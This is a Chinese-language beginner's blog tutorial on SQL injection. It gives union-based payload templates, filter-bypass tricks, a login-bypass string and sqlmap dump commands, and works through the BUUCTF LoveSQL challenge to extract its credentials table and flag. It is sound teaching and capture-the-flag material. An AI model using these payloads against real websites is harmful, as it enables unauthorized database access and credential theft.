Sql注入

引言

Sql注入漏洞是攻击者通过任意构造sql语句对网页数据库进行任意操作(增删改查) 这里讲述sql注入入门基础.
(有些题目地址忘了在哪里 0!0,以后会补上)

类型:

	1. 数字型注入
	2. 字符型注入
	3. 布尔注入
	4. 报错注入
	5. Cookie注入
	6. 还有一些头部注入
	7. 宽字节注入

工具:

	1. 手工注入(最为常用)
	2. sqlmap(方便但是不灵活)
	3. burp suite

常用方式

[在mysql的版本5.0之后产生的,一个虚拟数据库information_schema][1]
我们就可以根据这个查数据库和相应表名和相应列名.
注:这里的#是注释符 注释掉后面单引号导致 sql语句的逃逸 注释符还有–+
#的话 一般需要url编码为%23使用)

  1. information_schema.tables :数据库的表名
  2. information_schema.columns:数据库的列名
  3. updatexml(1,concat(0x5e,(查询的字段),0x5e),1) 注 :0x5e 是^ ( 原理还是具体百度yyds)

这里以id参数先以字符型union注入为例做一个模板为例:

查询相应的表名:?id=-1’union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=database() #

查询相应列明: ?id=-1’union select 1,2,group_concat(columns_name) from
information_schema.columns where table_name=‘mysql’ #
(上次查询出来的列名这里以mysql为例,这里有个技巧的是mysql可以用十六进制过滤,如果单引号被过滤的情况下)

查相应列名:?id =-1’union select 1,2,group_concat(column_name1,column_name2) from table_name #

数据库一些函数和绕过方式(待补充)

函数

1.length():获取长度  //length(database())获取数据库的长度
2.left(str,len):从左侧取指定数量的字符串// left('avcff',3)  =>avc
3.ord()和ascii()都是获取字符10进制 # ord('a')=>97
concat('a','b','c')连接字符串=>abc
group_concat()将不同列的内容显示在同一行上!

在这里插入图片描述

绕过方式

  1. 大小写绕过比如:过滤select时 在不区分大小写时候可以Select绕过
  2. 双写绕过 过滤关键字可以用selselctect来绕过
  3. 内联注释绕过 /**/可以代替空格当空格被过滤的时候
  4. =被过滤时候 可以用like 或rlike 也可以用regexp 来绕过比如=‘admin’ 就可以like ‘admin’
  5. limit 1,2 可以用limit from 2 for 1或者 limit 2 offset

数字字符注入

判断标准

主要还是引号逃逸和闭合
看是否有回显或者看是否最报错信息如果无回显但有报错信息可以用报错注入 这个最好用

  1. 数字型 1and1=1正确 1and1=2返回错误
  2. 字符型 1’错误 1’and’1’=‘1正确 1’and’1’='2错误

[以buuctf [极客大挑战 2019]LoveSQL上做例子][1]

万能绕过登入公式:

1’or1=1#

这里一下子就进去了,应该没有做太多过滤在这里插入图片描述
也顺便验证了这是字符型注入 套用模板

?username=1%27union select 1,2,3 %23&password=1 //这里'# 经过url编码后的

3处有回显

在这里插入图片描述

?username=1%27union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() %23&password=1
//爆出表名

在这里插入图片描述

?username=1%27union select1,2,group_concat(column_name)frominformation_schema.columns wheretable_name='l0ve1ysq1'%23&password=1
//爆出所有列名

在这里插入图片描述

?username=1%27union select 1,2,group_concat(id,username,password)from l0ve1ysq1 %23&password=1
//爆出所有列值

得到flag,根据报错信息也可以用报错注入方法注入这里不在尝试


Your password is ',16flagflag{93f7de6d-624d-4ade-8eb9-9509c4d066da}'
第二种方法是使用Sqlmap 这里很是方便

用法的话看sqlmap模块这里不再过多说明

导出get请求的包 记为get.txt

python sqlmap.py -r C:\Users\ASUS\Desktop\get.txt --batch -p username --dbs 

在这里插入图片描述
得到数据库名
然后老套路 爆破表名记录名列名
这里是最终pyload

sqlmap.py -r C:\Users\ASUS\Desktop\get.txt --batch -p username --current-db -D geek -T l0ve1ysq1 -C "id,password,username" --dump

在这里插入图片描述
这里是最基本的用法 还有好多用法没有掌握~ 。~ 等会了再来补充

Bool 盲注

基本流程是:用字符串的截取函数逐步截取单个字符猜或者时爆破 逐步得到目的字符

法一 : 用bp 半自动化注入
法二: 用py脚本实现注入

后续补充的题目链接 😦

Sqlmap工具

我这里用的是python3脚本 直接从官网上下 .还有一种是kali自带很是方便

用法一
  1. python sqlmap.py -u 指定的url
  2. –batch 运行中会有许多询问 加上这个可改为默认
  3. –dbs 查询数据库 --tables 查询表明(前提需要指定-D 数据库名 --columns 查询列名 (前提需指定表名-T) 最后 -C “列名值” --dump (把列名值全部输出)
  4. 流程是循序渐进 先 -D 再 -T 再-C 最后输出列名值
用法二

sqlmap.py -r 你抓的包名(通常是用bp 抓的包复制粘贴到一个txt文档 再老套路逐个破解

用法三
  1. 可指定 --level(最高为5) 和–risk(最高为3)

  2. 当level 为2 时会测试 cookie 注入

  3. 当level为3 时会测试 user-gent/refer注入

  4. 还有好多的脚本 这就用到–tamper +脚本名
    比如 base64encode.py 用到base64编码替换比如题目参数使用base64编码后的
    space2comment.py 指定/**/代替空格

宽字节注入

  1. 到底还是字符型注入
  2. 原理是 将’进行转义变成 ’
  3. 在gbk中 %df %af等等 以%df为例 %df’ =>%df’ =>这里的%df\在gbk 中会当成一个宽字节 转义字符便失去了其作用导致单引号的逃逸.之后注入方式回归从前
    题目会在之后补上(~~)

小白在努力 -。-


  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值